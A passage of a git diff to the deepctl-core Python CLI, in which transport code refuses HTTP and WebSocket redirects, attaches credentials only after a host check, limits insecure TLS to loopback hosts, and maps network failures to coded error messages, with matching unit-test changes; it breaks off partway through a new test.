@@ -631,7 +570,7 @@ def get_request(
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to get request", e)
+            raise ApiError(body=f"Failed to get request: {e}")
 
     # ── Billing ────────────────────────────────────────────────────
 
@@ -660,7 +599,7 @@ def get_billing_breakdown(
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to get billing breakdown", e)
+            raise ApiError(body=f"Failed to get billing breakdown: {e}")
 
     def get_balances(self, project_id: str | None = None) -> dict[str, Any]:
         """Get project balances."""
@@ -671,7 +610,7 @@ def get_balances(self, project_id: str | None = None) -> dict[str, Any]:
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to get balances", e)
+            raise ApiError(body=f"Failed to get balances: {e}")
 
     # ── Members ────────────────────────────────────────────────────
 
@@ -684,7 +623,7 @@ def list_members(self, project_id: str | None = None) -> dict[str, Any]:
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to list members", e)
+            raise ApiError(body=f"Failed to list members: {e}")
 
     def remove_member(
         self, member_id: str, project_id: str | None = None
@@ -697,7 +636,7 @@ def remove_member(
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to remove member", e)
+            raise ApiError(body=f"Failed to remove member: {e}")
 
     def list_member_scopes(
         self, member_id: str, project_id: str | None = None
@@ -712,7 +651,7 @@ def list_member_scopes(
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to list member scopes", e)
+            raise ApiError(body=f"Failed to list member scopes: {e}")
 
     def update_member_scopes(
         self, member_id: str, scope: str, project_id: str | None = None
@@ -727,7 +666,7 @@ def update_member_scopes(
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to update member scopes", e)
+            raise ApiError(body=f"Failed to update member scopes: {e}")
 
     # ── Invites ────────────────────────────────────────────────────
 
@@ -740,7 +679,7 @@ def list_invites(self, project_id: str | None = None) -> dict[str, Any]:
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to list invites", e)
+            raise ApiError(body=f"Failed to list invites: {e}")
 
     def create_invite(
         self, email: str, scope: str, project_id: str | None = None
@@ -755,7 +694,7 @@ def create_invite(
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to create invite", e)
+            raise ApiError(body=f"Failed to create invite: {e}")
 
     def delete_invite(
         self, email: str, project_id: str | None = None
@@ -768,7 +707,7 @@ def delete_invite(
 
         except Exception as e:
             transport.raise_for(e, self._secrets)
-            raise self._failed("Failed to delete invite", e)
+            raise ApiError(body=f"Failed to delete invite: {e}")
 
     # ── Utilities ──────────────────────────────────────────────────
 
diff --git a/packages/deepctl-core/src/deepctl_core/transport.py b/packages/deepctl-core/src/deepctl_core/transport.py
index d4ec6a16..20ae613c 100644
--- a/packages/deepctl-core/src/deepctl_core/transport.py
+++ b/packages/deepctl-core/src/deepctl_core/transport.py
@@ -1,19 +1,27 @@
-"""One HTTP client per process, and the map from transport failures to codes.
-
-Every REST call the SDK facade makes goes through :func:`shared_client`: one
-``httpx.Client`` (one connection pool) per process, created on first use so
-``--version`` and ``--help`` never import httpx. The client carries no
-credentials and no base URL. The key and the host still come from
-``DeepgramClient``, which takes the base URL from
-:func:`deepctl_core.hosts.check_credential_host` before any request carries
-the key; this module never decides where a credential may go.
+"""Where API requests go, what they carry, and what their failures mean.
+
+:class:`Transport` owns the REST and WebSocket base URLs, which come only
+from :func:`deepctl_core.hosts.check_credential_host` (``http`` -> ``ws``,
+``https`` -> ``wss``), and attaches ``Authorization`` only after that check
+has passed for the exact origin. Requests go through :func:`shared_client`:
+one ``httpx.Client`` (one connection pool) per process, created on first use
+so ``--version`` and ``--help`` never import httpx. It follows no redirects
+(a 3xx with credentials is an error, never a second request), keeps no
+cookies, and verifies TLS. A person's ``DEEPGRAM_CLI_INSECURE=1`` (or
+``true``) skips verification for localhost, 127.0.0.1 and [::1] only, and
+never under an AI agent (``auth._insecure_allowed`` and
+``auth._insecure_mounts``, as in 0.4.2). :func:`verified_client` is the
+always-verified client for ``dg api``; WebSocket streams always verify.
+The SDK facade builds its client through :attr:`Transport.backend`, a seam
+for other backends (#142's SageMaker), with the REST backend as the default.
 
 :func:`raise_for` turns a failed request into a :class:`TransportError` with a
 catalogue code (``transport_mapping`` in ``error_codes.json``, in
-order): DNS, connect, TLS, reset or a truncated 2xx body ->
+order): DNS, connect, TLS, reset, a truncated 2xx body or a 3xx ->
 ``network_unavailable``; timeout -> ``timeout``; 401 -> ``auth_invalid``;
 403 -> ``auth_forbidden``; 404 -> ``not_found``; 429 -> ``rate_limited``;
 400, 422 and any other 4xx -> ``invalid_argument``; 5xx -> ``server_error``.
+A WebSocket upgrade refused with an HTTP status maps through the same table.
 ``BaseCommand.execute`` renders it: a coded result on stdout under a machine
 format, and two stderr lines.
 """
@@ -31,15 +39,22 @@
 from . import credentials
 
 if TYPE_CHECKING:
+    from collections.abc import Callable
+
     import httpx
 
     from .auth import AuthManager
+    from .config import Config
 
 # The SDK's own default for a client it builds itself.
 DEFAULT_TIMEOUT_S = 60.0
 
 _lock = threading.Lock()
 _client: httpx.Client | None = None
+# True when _client has DEEPGRAM_CLI_INSECURE's unverified loopback mounts.
+_client_insecure = False
+# The always-verified client for dg api, when _client isn't one.
+_verified: httpx.Client | None = None
 # Where the most recent request went, for the error text: method, host and
 # path only (never the query string, which can carry values from argv).
 _last_request: dict[str, str] = {}
@@ -48,12 +63,18 @@
 def _record_request(request: httpx.Request) -> None:
     _last_request.clear()
     _last_request.update(
-        method=request.method, host=request.url.host, path=request.url.path
+        method=request.method,
+        host=request.url.host,
+        path=request.url.path,
+        origin=f"{request.url.scheme}://{request.url.netloc.decode('ascii')}",
     )
 
 
 def _install(client: httpx.Client) -> httpx.Client:
     _no_cookies(client)
+    # A redirect could take the key, or a request body, to another origin
+    # a 3xx is an error (see map_exception), never followed.
+    client.follow_redirects = False
     hooks = client.event_hooks
     hooks.setdefault("request", [])
     if _record_request not in hooks["request"]:
@@ -62,23 +83,58 @@ def _install(client: httpx.Client) -> httpx.Client:
     return client
 
 
+def _new_client(*, insecure_loopback: bool) -> httpx.Client:
+    import httpx
+
+    from .auth import _insecure_mounts, _warn_if_verified
+
+    if insecure_loopback:
+        # As AuthManager.client (0.4.2): verification stays on, and only the
+        # loopback hosts get unverified transports.
+        return httpx.Client(
+            timeout=DEFAULT_TIMEOUT_S,
+            follow_redirects=False,
+            verify=True,
+            mounts=_insecure_mounts(),
+            event_hooks={"request": [_warn_if_verified]},
+        )
+    return httpx.Client(timeout=DEFAULT_TIMEOUT_S, follow_redirects=False)
+
+
 def shared_client() -> httpx.Client:
     """The process's one ``httpx.Client``, created on first use.
 
-    It follows no redirects: a 3xx could take the key, or a request body,
-    to another host (see ``DeepgramClient._failed``).
+    It follows no redirects, keeps no cookies and verifies TLS. A person's
+    ``DEEPGRAM_CLI_INSECURE=1`` (or ``true``) skips verification for
+    localhost, 127.0.0.1 and [::1] only; never under an AI agent
+    (``auth._insecure_allowed``, ``auth._insecure_mounts``).
     """
-    global _client
+    global _client, _client_insecure
     with _lock:
         if _client is None:
-            import httpx
+            from .auth import _insecure_allowed
 
-            _client = _install(
-                httpx.Client(timeout=DEFAULT_TIMEOUT_S, follow_redirects=False)
-            )
+            _client_insecure = _insecure_allowed()
+            _client = _install(_new_client(insecure_loopback=_client_insecure))
         return _client
 
 
+def verified_client() -> httpx.Client:
+    """A client that verifies TLS for every host (``dg api``, as in 0.4.1).
+
+    The shared client itself, unless ``DEEPGRAM_CLI_INSECURE`` gave it
+    unverified loopback transports; then a second client that has none.
+    """
+    global _verified
+    client = shared_client()
+    with _lock:
+        if not _client_insecure:
+            return client
+        if _verified is None:
+            _verified = _install(_new_client(insecure_loopback=False))
+        return _verified
+
+
 def _no_cookies(client: httpx.Client) -> None:
     """Keep no cookies: one process can serve several profiles and hosts."""
     from http.cookiejar import DefaultCookiePolicy
@@ -88,12 +144,188 @@ def _no_cookies(client: httpx.Client) -> None:
 
 def _set_client(client: httpx.Client | None) -> None:
     """Replace the shared client (tests pass one with an ``httpx.MockTransport``)."""
-    global _client
+    global _client, _client_insecure, _verified
     with _lock:
         _client = _install(client) if client is not None else None
+        _client_insecure = False
+        _verified = None
         _last_request.clear()
 
 
+# ── Base URLs and credentials ────────────────────────────────────────
+
+
+def ws_url(base_url: str) -> str:
+    """The WebSocket form of a REST base URL: ``http`` -> ``ws``,
+    ``https`` (or none) -> ``wss``; host, port and path unchanged."""
+    scheme, sep, rest = base_url.partition("://")
+    if not sep:
+        return f"wss://{base_url}"
+    scheme = scheme.lower()
+    if scheme in ("http", "ws"):
+        return f"ws://{rest}"
+    return f"wss://{rest}"
+
+
+def rest_url(base_url: str) -> str:
+    """The REST form of a base URL: ``ws`` -> ``http``, ``wss`` (or none) ->
+    ``https``."""
+    scheme, sep, rest = base_url.partition("://")
+    if not sep:
+        return f"https://{base_url}"
+    scheme = scheme.lower()
+    if scheme in ("http", "ws"):
+        return f"http://{rest}"
+    return f"https://{rest}"
+
+
+def default_host() -> str:
+    """The Deepgram API host requests go to by default (``hosts.DEFAULT_BASE_URL``)."""
+    from urllib.parse import urlsplit
+
+    from .hosts import DEFAULT_BASE_URL
+
+    return urlsplit(DEFAULT_BASE_URL).hostname or DEFAULT_BASE_URL
+
+
+# One random ID per run, sent as x-deepgram-session-id with every request
+# that carries the key, so Deepgram can group a run's requests. It says
+# nothing about the user or the machine.
+_session_id: str | None = None
+
+SESSION_HEADER = "x-deepgram-session-id"
+
+
+def session_id() -> str:
+    """This run's ``x-deepgram-session-id``, the same on every request."""
+    import uuid
+
+    global _session_id
+    if _session_id is None:
+        _session_id = str(uuid.uuid4())
+    return _session_id
+
+
+def request_headers(api_key: str) -> dict[str, str]:
+    """The headers every Deepgram API request and WebSocket open carries.
+
+    The SDK's identification (``User-Agent: deepgram-sdk/<version>`` and its
+    ``X-Fern-*`` headers, built as its ``get_headers`` builds them), this
+    run's session ID, and ``Authorization``. The SDK client gets the same
+    session ID (:class:`RestBackend`), so requests dg sends itself and
+    requests the SDK sends identify the run alike. Callers check the host
+    first; :meth:`Transport.auth_headers` does.
+    """
+    import platform
+    from importlib import metadata
+
+    headers: dict[str, str] = {}
+    try:
+        version = metadata.version("deepgram-sdk")
+    except metadata.PackageNotFoundError:
+        pass
+    else:
+        headers = {
+            "User-Agent": "deepgram-sdk/" + version,
+            "X-Fern-Language": "Python",
+            "X-Fern-Runtime": f"python/{platform.python_version()}",
+            "X-Fern-Platform": f"{platform.system().lower()}/{platform.release()}",
+            "X-Fern-SDK-Name": "deepgram-sdk",
+            "X-Fern-SDK-Version": version,
+        }
+    headers[SESSION_HEADER] = session_id()
+    headers["Authorization"] = f"Token {api_key}"
+    return headers
+
+
+class RestBackend:
+    """The default backend: the Deepgram SDK over the shared ``httpx.Client``.
+
+    A backend turns a checked base URL and a key into the SDK client the
+    facade uses. #142's SageMaker backend plugs in here (R-16).
+    """
+
+    name = "rest"
+
+    def sdk_client(self, api_key: str, rest_base: str, ws_base: str) -> Any:
+        # Through the facade module's lazily bound names (tests patch them).
+        from . import client as facade
+        from .hosts import DEFAULT_BASE_URL
+
+        facade._sdk()
+        sdk: dict[str, Any] = vars(facade)
+
+        kwargs: dict[str, Any] = {
+            "api_key": api_key,
+            # One connection pool per process; requests reuse its connection.
+            "httpx_client": shared_client(),
+            # The run's ID, so SDK requests match request_headers().
+            "session_id": session_id(),
+        }
+        if rest_base != DEFAULT_BASE_URL:
+            # Both the REST and the WebSocket endpoints come from the checked
+            # base URL, so a custom base works for batch REST and streaming.
+            # agent_rest is required by the SDK environment.
+            kwargs["environment"] = sdk["DeepgramClientEnvironment"](
+                base=rest_base,
+                production=ws_base,
+                agent=ws_base,
+                agent_rest=rest_base,
+            )
+        return sdk["DGClient"](**kwargs)
+
+
+class Transport:
+    """Where this run's API requests go and what they carry.
+
+    Base URLs come from :func:`deepctl_core.hosts.check_credential_host`
+    only; it raises ``CredentialHostError`` (already reported) when the host
+    isn't trusted with credentials, before anything carries the key.
+    """
+
+    def __init__(
+        self,
+        config: Config,
+        backend: Any = None,
+        *,
+        check_host: Callable[[], str] | None = None,
+    ) -> None:
+        """``check_host`` is ``AuthManager.check_base_url`` when there is one
+        (the same ``check_credential_host`` call on the same config)."""
+        self.config = config
+        self.backend = backend if backend is not None else RestBackend()
+        self._check_host = check_host
+
+    def rest_base(self) -> str:
+        """The checked REST base URL (scheme, host, port and path)."""
+        if self._check_host is not None:
+            return rest_url(self._check_host())
+        from .hosts import check_credential_host
+
+        return rest_url(check_credential_host(self.config))
+
+    def ws_base(self) -> str:
+        """The checked WebSocket base URL (``http`` -> ``ws``, ``https`` -> ``wss``)."""
+        return ws_url(self.rest_base())
+
+    def auth_headers(self, api_key: str) -> dict[str, str]:
+        """:func:`request_headers` for ``api_key`` (identification, session
+        ID and ``Authorization``), once the host check has passed."""
+        self.rest_base()
+        return request_headers(api_key)
+
+    @property
+    def client(self) -> httpx.Client:
+        """The process's shared ``httpx.Client``."""
+        return shared_client()
+
+    def sdk_client(self, api_key: str) -> Any:
+        """The SDK client for ``api_key``, built by the backend once the host
+        check has passed."""
+        rest = self.rest_base()
+        return self.backend.sdk_client(api_key, rest, ws_url(rest))
+
+
 # ── Catalogue text (error_codes.json "strings") ──────────────────────
 
 STRINGS: dict[str, str] = {
@@ -162,6 +394,9 @@ def _set_client(client: httpx.Client | None) -> None:
         "Retry once. If it fails again, tell the user the connection to Deepgram "
         "keeps dropping."
     ),
+    "E-NETWORK-DROPPED": (
+        "The connection to {host} dropped before the response was complete ({reason})."
+    ),
     "E-NETWORK-UNREADABLE": "Got a response from {host} that {prog} couldn't read.",
     "H-NETWORK-UNREADABLE": (
         "A proxy, captive portal or firewall may be answering in Deepgram's "
@@ -172,6 +407,20 @@ def _set_client(client: httpx.Client | None) -> None:
         "network (a proxy, captive portal or firewall) is answering in "
         "Deepgram's place."
     ),
+    # 0.4.1's redirect refusal (origins only); {sent} is "nothing was sent
+    # there" for REST and "no audio was sent" (or text) for a WebSocket.
+    "E-NETWORK-REDIRECT": (
+        "{origin} answered with a redirect to {location_origin}. {command} "
+        "doesn't follow redirects, so {sent}."
+    ),
+    "H-NETWORK-REDIRECT": (
+        "A network sign-in page or proxy may be redirecting requests. If {host} "
+        "is your own server, use the address it redirects to."
+    ),
+    "A-NETWORK-REDIRECT": (
+        "Tell the user {host} redirected the request. Don't retry until they "
+        "have checked the network or the configured URL."
+    ),
     "E-TIMEOUT": "{host} didn't respond within {timeout_s} s.",
     "H-TIMEOUT": "Try again. Large files take longer to upload on slow connections.",
     "A-TIMEOUT": (
@@ -245,8 +494,15 @@ def _set_client(client: httpx.Client | None) -> None:
     "server_error": ("E-SERVER", "H-SERVER", "A-SERVER", None),
 }
 
-# network_unavailable's other messages: the response was cut off, or it
-# arrived complete but isn't Deepgram's (a proxy or captive portal page).
+# network_unavailable's other messages: the connection dropped after the
+# request started, the response was cut off, it arrived complete but isn't
+# Deepgram's (a proxy or captive portal page), or it was a redirect.
+NETWORK_DROPPED: Messages = (
+    "E-NETWORK-DROPPED",
+    "H-NETWORK-CUT",
+    "A-NETWORK-CUT",
+    None,
+)
 NETWORK_CUT: Messages = ("E-NETWORK-CUT", "H-NETWORK-CUT", "A-NETWORK-CUT", None)
 NETWORK_UNREADABLE: Messages = (
     "E-NETWORK-UNREADABLE",
@@ -254,6 +510,12 @@ def _set_client(client: httpx.Client | None) -> None:
     "A-NETWORK-UNREADABLE",
     None,
 )
+NETWORK_REDIRECT: Messages = (
+    "E-NETWORK-REDIRECT",
+    "H-NETWORK-REDIRECT",
+    "A-NETWORK-REDIRECT",
+    None,
+)
 
 # auth_required's other message: the only key was in a user config file this
 # AI agent session doesn't trust. next_step is null: a person
@@ -274,6 +536,7 @@ def _set_client(client: httpx.Client | None) -> None:
 REASON_TRUNCATED = "response cut off"
 REASON_UNREADABLE = "unreadable response"
 REASON_PROXY = "the proxy refused the connection"
+REASON_REDIRECT = "unexpected redirect"
 REASON_OTHER = "connection failed"
 
 KEY_SOURCE_ENV = credentials.KEY_SOURCE_ENV
@@ -309,6 +572,66 @@ def error(self) -> str:
         return STRINGS[self.messages[0]].format(**self.values)
 
 
+class RedirectRefused(TransportError):
+    """A request was answered with a redirect, which is never followed.
+
+    REST and WebSocket alike: the key and the request's audio or text go
+    only to the host that passed the host check. ``message`` and
+    ``exit_code`` read as on the ``click.ClickException`` it was in 0.4.1.
+    """
+
+    exit_code = 1
+
+    @property
+    def message(self) -> str:
+        return self.error
+
+
+def redirect_refused(
+    url: str,
+    location: str | None,
+    *,
+    command: str = "dg",
+    payload: str | None = None,
+) -> RedirectRefused:
+    """The error for a redirect from ``url`` to ``location``.
+
+    Only origins are shown, never paths or queries, and anything a server
+    put in the Location header is made safe to print first. ``payload``
+    names what a WebSocket would have sent ("audio", "text"); ``None`` for
+    REST, where the request reached ``url`` and nothing went further.
+    """
+    from urllib.parse import urljoin
+
+    from .hosts import parse_origin
+    from .messages import display
+
+    here = parse_origin(url)
+    there = None
+    if location:
+        # Header bytes outside ASCII arrive as surrogates; show them as "?".
+        location = location.encode("ascii", "replace").decode("ascii")
+        try:
+            there = parse_origin(urljoin(url, location))
+        except ValueError:  # e.g. an unbalanced "[" in the host
+            there = None
+    host = _clean(here.host if here else url)
+    sent = "nothing was sent there" if payload is None else f"no {payload} was sent"
+    return RedirectRefused(
+        "network_unavailable",
+        {
+            "origin": display(here.origin if here else "?"),
+            "location_origin": display(there.origin if there else "?"),
+            "command": command,
+            "sent": sent,
+            "host": host,
+            "prog": prog() or "dg",
+        },
+        {"host": host, "reason": REASON_REDIRECT},
+        NETWORK_REDIRECT,
+    )
+
+
 # ── Mapping ──────────────────────────────────────────────────────────
 
 _SECRET_URL = re.compile(r"(?i)\b([a-z][a-z0-9+.-]*://)[^/\s@]*@")
@@ -441,14 +764,27 @@ def map_exception(
         if isinstance(exc, (httpx.NetworkError, httpx.RemoteProtocolError)):
             host = _host(exc)
             reason = _network_reason(exc)
-            cut = reason == REASON_TRUNCATED
+            messages: Messages | None = None
+            if reason == REASON_TRUNCATED:
+                messages = NETWORK_CUT
+            elif reason in (REASON_RESET, REASON_CLOSED) and isinstance(
+                exc, (httpx.ReadError, httpx.WriteError, httpx.RemoteProtocolError)
+            ):
+                # The connection was open and the request had started, so
+                # "couldn't reach" would be wrong. A reset while connecting
+                # (ConnectError) stays E-NETWORK.
+                messages = NETWORK_DROPPED
             return TransportError(
                 "network_unavailable",
                 {"host": host, "reason": reason},
                 {"host": host, "reason": reason},
-                NETWORK_CUT if cut else None,
+                messages,
             )
 
+    ws = _map_websocket(exc, secrets)
+    if ws is not None:
+        return ws
+
     status = getattr(exc, "status_code", None)
     if not isinstance(status, int) or "deepgram" not in sys.modules:
         return None
@@ -456,7 +792,6 @@ def map_exception(
 
     if not isinstance(exc, ApiError):
         return None
-    headers = exc.headers
     if 200 <= status < 300:
         # The SDK got a complete success response it couldn't parse: most
         # often not Deepgram's at all (a proxy's or captive portal's page).
@@ -468,14 +803,37 @@ def map_exception(
             {"host": host, "reason": REASON_UNREADABLE},
             NETWORK_UNREADABLE,
         )
+    return for_status(status, exc.headers, exc.body, secrets)
+
+
+def for_status(
+    status: int,
+    headers: object = None,
+    body: object = None,
+    secrets: tuple[str, ...] = (),
+    *,
+    host: str | None = None,
+    path: str | None = None,
+) -> TransportError | None:
+    """The coded error for an HTTP error status, REST or WebSocket upgrade.
+
+    ``host`` and ``path`` name the request when it didn't go through the
+    shared client (a WebSocket upgrade); else the last request's are used.
+    """
+    if 300 <= status < 400:
+        # Credentialed requests don't follow redirects.
+        origin = host or _last_request.get("origin") or _host()
+        return redirect_refused(
+            origin, _header(headers, "location"), command=_running_command()
+        )
     if status == 401:
         return TransportError("auth_invalid", {}, {"http_status": 401})
     if status == 403:
         return TransportError("auth_forbidden", {}, {"http_status": 403})
     if status == 404:
-        path = _clean(_last_request.get("path") or "this request")
+        where = _clean(path or _last_request.get("path") or "this request")
         return TransportError(
-            "not_found", {"path": path}, {"http_status": 404, "path": path}
+            "not_found", {"path": where}, {"http_status": 404, "path": where}
         )
     if status == 429:
         details: dict[str, Any] = {"http_status": 429}
@@ -488,7 +846,7 @@ def map_exception(
             "invalid_argument",
             {
                 "http_status": status,
-                "api_message": _api_message(exc.body, status, secrets),
+                "api_message": _api_message(body, status, secrets),
             },
             {"http_status": status},
         )
@@ -501,10 +859,138 @@ def map_exception(
     return None
 
 
+# Seconds a WebSocket handshake may take before it maps to ``timeout``.
+WS_OPEN_TIMEOUT_S = 10.0
+
+
+def _ws_status(exc: BaseException) -> tuple[int, object, object] | None:
+    """(status, headers, body) of a refused WebSocket upgrade, if ``exc`` is one."""
+    if "websockets" in sys.modules:
+        response = getattr(exc, "response", None)
+        status = getattr(response, "status_code", None)
+        if isinstance(status, int) and type(exc).__module__.startswith("websockets"):
+            headers = getattr(response, "headers", None)
+            body = getattr(response, "body", None)
+            if isinstance(body, bytes):
+                body = body.decode("utf-8", "replace")
+            return status, dict(headers or {}), body
+        status = getattr(exc, "status_code", None)  # legacy InvalidStatusCode
+        if isinstance(status, int) and type(exc).__module__.startswith("websockets"):
+            return status, dict(getattr(exc, "headers", None) or {}), None
+    return None
+
+
+def _timeout_types() -> tuple[type[BaseException], ...]:
+    types: list[type[BaseException]] = [TimeoutError]
+    if "asyncio" in sys.modules:
+        import asyncio
+
+        types.append(asyncio.TimeoutError)  # a separate class before 3.11
+    return tuple(types)
+
+
+def _map_websocket(
+    exc: BaseException,
+    secrets: tuple[str, ...],
+    *,
+    host: str | None = None,
+    path: str | None = None,
+    opening: bool = False,
+) -> TransportError | None:
+    """A WebSocket open that failed: refused upgrade, network or timeout."""
+    refused = _ws_status(exc)
+    if refused is not None:
+        status, headers, body = refused
+        return for_status(status, headers, body, secrets, host=host, path=path)
+    if not opening and "websockets" in sys.modules:
+        opening = type(exc).__module__.startswith("websockets")
+    if not opening:
+        return None
+    where = _clean(host) if host else _host(exc)
+    if any(isinstance(item, _timeout_types()) for item in _chain(exc)):
+        return TransportError(
+            "timeout",
+            {"host": where, "timeout_s": _seconds(WS_OPEN_TIMEOUT_S)},
+            {"host": where, "timeout_s": _seconds(WS_OPEN_TIMEOUT_S)},
+        )
+    if any(isinstance(item, OSError) for item in _chain(exc)):
+        reason = _network_reason(exc)
+        return TransportError(
+            "network_unavailable",
+            {"host": where, "reason": reason},
+            {"host": where, "reason": reason},
+        )
+    if "websockets" in sys.modules:
+        from websockets.exceptions import InvalidHandshake
+
+        # The server answered the upgrade with something that isn't a valid
+        # HTTP response (a proxy, HTTP/1.0, a cut-off reply).
+        if any(isinstance(item, InvalidHandshake) for item in _chain(exc)):
+            return TransportError(
+                "network_unavailable",
+                {"host": where, "reason": REASON_UNREADABLE, "prog": prog() or "dg"},
+                {"host": where, "reason": REASON_UNREADABLE},
+                NETWORK_UNREADABLE,
+            )
+    return None
+
+
+def map_ws_open(
+    exc: BaseException,
+    secrets: tuple[str, ...] = (),
+    *,
+    host: str | None = None,
+    path: str | None = None,
+) -> TransportError | None:
+    """The coded error for a WebSocket open to ``host`` that raised ``exc``.
+
+    A refused upgrade maps by its HTTP status through the REST table; DNS,
+    connect and TLS failures map to ``network_unavailable``; an open that
+    timed out maps to ``timeout``.
+    """
+    if isinstance(exc, TransportError):
+        return exc
+    return _map_websocket(exc, secrets, host=host, path=path, opening=True)
+
+
 def _seconds(value: float) -> int | float:
     return int(value) if float(value).is_integer() else value
 
 
+def plain_detail(exc: BaseException) -> str:
+    """What went wrong, in the words of the error that caused it.
+
+    The client wraps failures it can't map in the SDK's ``ApiError``,
+    whose text is a dump of its fields (``headers: None, status_code:
+    None, body: ...``). For one with no status, this is the message of
+    the error it was raised from; anything else is its own message.
+    """
+    for item in _chain(exc):
+        if (
+            type(item).__name__ == "ApiError"
+            and getattr(item, "status_code", 1) is None
+        ):
+            continue
+        text = str(item).strip()
+        if text:
+            return text
+        return type(item).__name__
+    body = getattr(exc, "body", None)
+    return str(body) if body else type(exc).__name__
+
+
+def _running_command() -> str:
+    """The command being run, as typed (``dg listen``), for messages that
+    name it; ``dg`` outside a command."""
+    if "click" in sys.modules:
+        import click
+
+        ctx = click.get_current_context(silent=True)
+        if ctx is not None and ctx.command_path:
+            return ctx.command_path
+    return "dg"
+
+
 def raise_for(
     exc: BaseException,
     secrets: tuple[str, ...] = (),
diff --git a/packages/deepctl-core/src/deepctl_core/websocket.py b/packages/deepctl-core/src/deepctl_core/websocket.py
index cd4bf4b7..f3f13707 100644
--- a/packages/deepctl-core/src/deepctl_core/websocket.py
+++ b/packages/deepctl-core/src/deepctl_core/websocket.py
@@ -8,63 +8,25 @@
 followed with the same headers (14 and 15, the key included), followed
 without the key (16 and later, the data still goes), or raised. These
 helpers turn every 3xx into :class:`RedirectRefused` before a second
-connection is opened. REST calls through the SDK don't follow redirects
-either (``follow_redirects=False`` in the client); :func:`redirect_refused`
-words that error too, with no ``payload``.
+connection is opened. REST calls through the shared client don't follow
+redirects either; :func:`deepctl_core.transport.for_status` maps their 3xx
+to the same :class:`RedirectRefused`.
 """
 
 from __future__ import annotations
 
 from typing import Any
-from urllib.parse import urljoin
 
-import click
+from .transport import RedirectRefused, redirect_refused
 
-from .hosts import parse_origin
-from .messages import display
-
-E_WS_REDIRECT = (
-    "{origin} answered with a redirect to {location_origin}. {command} "
-    "doesn't follow redirects, so no {payload} was sent."
-)
-# REST: the request already reached the host that was checked; nothing
-# goes to the new location.
-E_HTTP_REDIRECT = (
-    "{origin} answered with a redirect to {location_origin}. {command} "
-    "doesn't follow redirects, so nothing was sent there."
-)
-
-
-class RedirectRefused(click.ClickException):
-    """A request was answered with a redirect, which isn't followed."""
-
-
-def redirect_refused(
-    url: str, location: str | None, *, command: str, payload: str | None
-) -> RedirectRefused:
-    """The error for a redirect from ``url`` to ``location``.
-
-    Only origins are shown, never paths or queries, and anything a server
-    put in the Location header is made safe to print first.
-    """
-    here = parse_origin(url)
-    there = None
-    if location:
-        # Header bytes outside ASCII arrive as surrogates; show them as "?".
-        location = location.encode("ascii", "replace").decode("ascii")
-        try:
-            there = parse_origin(urljoin(url, location))
-        except ValueError:  # e.g. an unbalanced "[" in the host
-            there = None
-    text = E_HTTP_REDIRECT if payload is None else E_WS_REDIRECT
-    return RedirectRefused(
-        text.format(
-            origin=display(here.origin if here else "?"),
-            location_origin=display(there.origin if there else "?"),
-            command=command,
-            payload=payload,
-        )
-    )
+# The error and its wording live in transport (one redirect refusal for
+# REST and WebSocket); re-exported here for the connect helpers' callers.
+__all__ = [
+    "RedirectRefused",
+    "connect_async",
+    "connect_sync",
+    "redirect_refused",
+]
 
 
 def _as_refusal(
diff --git a/packages/deepctl-core/tests/unit/test_auth.py b/packages/deepctl-core/tests/unit/test_auth.py
index 229e5823..14862b5a 100644
--- a/packages/deepctl-core/tests/unit/test_auth.py
+++ b/packages/deepctl-core/tests/unit/test_auth.py
@@ -9,6 +9,7 @@
 import pytest
 from deepctl_core.auth import AuthenticationError, AuthManager
 from deepctl_core.config import Config
+from deepctl_core.transport import request_headers
 
 
 @pytest.fixture
@@ -70,7 +71,7 @@ def test_verify_credentials_success(self, auth_manager):
         auth_manager.client.get.assert_called_once_with(
             "https://api.deepgram.com/v1/projects/test-project",
             headers={
-                "Authorization": "Token sk-test-key",
+                **request_headers("sk-test-key"),
                 "Content-Type": "application/json",
             },
         )
@@ -160,7 +161,7 @@ def test_verify_credentials_no_project_id(self, auth_manager):
             auth_manager.client.get.assert_called_once_with(
                 "https://api.deepgram.com/v1/projects",
                 headers={
-                    "Authorization": "Token sk-test-key",
+                    **request_headers("sk-test-key"),
                     "Content-Type": "application/json",
                 },
             )
@@ -205,7 +206,7 @@ def test_verify_credentials_uses_stored_credentials(
             auth_manager.client.get.assert_called_once_with(
                 "https://api.deepgram.com/v1/projects/stored-project",
                 headers={
-                    "Authorization": "Token sk-stored-key",
+                    **request_headers("sk-stored-key"),
                     "Content-Type": "application/json",
                 },
             )
@@ -237,7 +238,7 @@ def test_verify_credentials_uses_env_vars(self, auth_manager):
         auth_manager.client.get.assert_called_once_with(
             "https://api.deepgram.com/v1/projects/env-project",
             headers={
-                "Authorization": "Token sk-env-key",
+                **request_headers("sk-env-key"),
                 "Content-Type": "application/json",
             },
         )
diff --git a/packages/deepctl-core/tests/unit/test_auth_insecure.py b/packages/deepctl-core/tests/unit/test_auth_insecure.py
index a1e3f810..8a01d8b3 100644
--- a/packages/deepctl-core/tests/unit/test_auth_insecure.py
+++ b/packages/deepctl-core/tests/unit/test_auth_insecure.py
@@ -173,3 +173,87 @@ def test_other_loopback_addresses_keep_verification(capsys):
 
     _warn_if_verified(httpx.Request("GET", "https://127.0.0.2/"))
     assert "applies only to localhost" in capsys.readouterr().err
+
+
+# -- The shared API client (SDK) and dg api's verified client --------------
+
+
+@pytest.fixture
+def fresh_transport(monkeypatch):
+    from deepctl_core import transport
+
+    monkeypatch.setattr(transport, "_client", None)
+    monkeypatch.setattr(transport, "_client_insecure", False)
+    monkeypatch.setattr(transport, "_verified", None)
+    return transport
+
+
+def _verifies(client: httpx.Client, url: str) -> bool:
+    import ssl
+
+    pool = client._transport_for_url(httpx.URL(url))._pool  # type: ignore[attr-defined]
+    return pool._ssl_context.verify_mode == ssl.CERT_REQUIRED
+
+
+@pytest.mark.parametrize("value", ["1", "true", "TRUE"])
+def test_shared_client_skips_verification_for_loopback_only(fresh_transport, monkeypatch, value):
+    monkeypatch.setenv("DEEPGRAM_CLI_INSECURE", value)
